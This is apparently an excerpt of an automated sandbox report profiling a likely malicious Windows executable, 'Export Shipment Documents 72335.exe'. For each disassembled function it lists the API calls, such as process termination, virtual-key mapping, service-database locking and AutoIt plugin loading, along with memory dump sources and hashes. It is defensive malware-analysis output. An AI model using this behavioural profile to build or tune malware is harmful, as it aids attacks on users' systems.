                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1814673581-0
                                                                                                                                                                                                          • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                                                          • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                                                                                                                          • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                                                                                                                          Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                                                                                                                          • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                                                                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2833360925-0
                                                                                                                                                                                                          • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                                                          • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                                                                                                                          Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                                                                                                                          • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                                                                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                                                                                                                          • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                                                                                                                          • EndPath.GDI32(?), ref: 0044724E
                                                                                                                                                                                                          • StrokePath.GDI32(?), ref: 0044725C
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 372113273-0
                                                                                                                                                                                                          • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                                                          • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                                                                                                                          Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Virtual
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4278518827-0
                                                                                                                                                                                                          • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                                                          • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                                                                                                                          Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                                                                                                                                          • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                                                                                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                                                                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                                                                                                                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                                                                                                                                          • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CapsDevice$Release
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1035833867-0
                                                                                                                                                                                                          • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                                                          • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                                                                                                                                          Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                                                                                                                          • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                                                                                                                                          • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                                                                                                                          • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                                                                                                                            • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                                                                                                                          • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                                                                                                                          • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3495660284-0
                                                                                                                                                                                                          • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                                                          • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                                                                                                                          Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                                                                                                                          • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                                                                                                                          • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                                                                                                                          • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                                                                                                                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 839392675-0
                                                                                                                                                                                                          • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                                                          • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                                                                                                                          Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,00000004), ref: 00436055
                                                                                                                                                                                                          • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                                                                                                                          • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                                                                                                                          • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                                                                                                                          • GetLastError.KERNEL32 ref: 00436081
                                                                                                                                                                                                          • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1690418490-0
                                                                                                                                                                                                          • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                                                          • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                                                                                                                          Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                                                          • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                                                                                                                                          • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                                                                                                                                          • CoUninitialize.OLE32 ref: 00475D71
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                                                          • String ID: .lnk$HH
                                                                                                                                                                                                          • API String ID: 886957087-3121654589
                                                                                                                                                                                                          • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                                                          • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                                                                                                                                          Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$Delete$InfoItem_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 1173514356-4108050209
                                                                                                                                                                                                          • Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                                                          • Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                                                                                                                                          Function 00437CA6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107libraryloaderCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                                                                                                                                          • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                                                          • String ID: AU3_GetPluginDetails$Wu
                                                                                                                                                                                                          • API String ID: 145871493-136108093
                                                                                                                                                                                                          • Opcode ID: 86e4c61e32d2ed878dfd7fe720ec64e92d9a8cb9aafa3c38a6749b64446316ec
                                                                                                                                                                                                          • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 86e4c61e32d2ed878dfd7fe720ec64e92d9a8cb9aafa3c38a6749b64446316ec
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                                                                                                                                          Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                                                                                                                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$_wcslen
                                                                                                                                                                                                          • String ID: ComboBox$ListBox
                                                                                                                                                                                                          • API String ID: 763830540-1403004172
                                                                                                                                                                                                          • Opcode ID: 7f2c4204b424c93c7ac22b89fbd31dfb367e10b18f94ca1fc21d6a87b04bc3c1
                                                                                                                                                                                                          • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7f2c4204b424c93c7ac22b89fbd31dfb367e10b18f94ca1fc21d6a87b04bc3c1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                                                                                                                                          Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                                                                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75572EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                                                            • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
